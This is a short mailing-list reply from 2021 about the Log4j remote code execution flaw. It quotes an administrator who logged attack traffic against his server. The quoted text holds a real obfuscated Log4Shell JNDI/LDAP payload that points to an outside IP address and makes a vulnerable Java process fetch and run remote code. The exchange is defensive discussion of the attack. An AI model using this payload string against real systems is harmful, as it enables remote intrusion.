Re: Remote code execution exploit found in Log4j .....

[Brad Stone <bvstone@xxxxxxxxx>]

On Wed, Dec 15, 2021 at 9:10 AM Kevin Bucknum <Kevin@xxxxxxxxxxxxxxxxxxx>
wrote:

> This is the type of request that I'm seeing against an apache web server.
> Not vulnerable in itself, but suppose I'm running a java application under
> WAS. Logging either within my application or with WAS using a vulnerable
> log4j version.
>
> ${${lower:${lower:jndi}}:ld${lower:ap}://45.146.164.160:1389/t}
>
> That will cause the process doing the logging to make a connection to the
> server running at 45.146.164.160 and execute the java code that it gets
> back.

Wouldn't the attacker need to know not only the IP of the server, hope it
has java code on it, and in the path they use?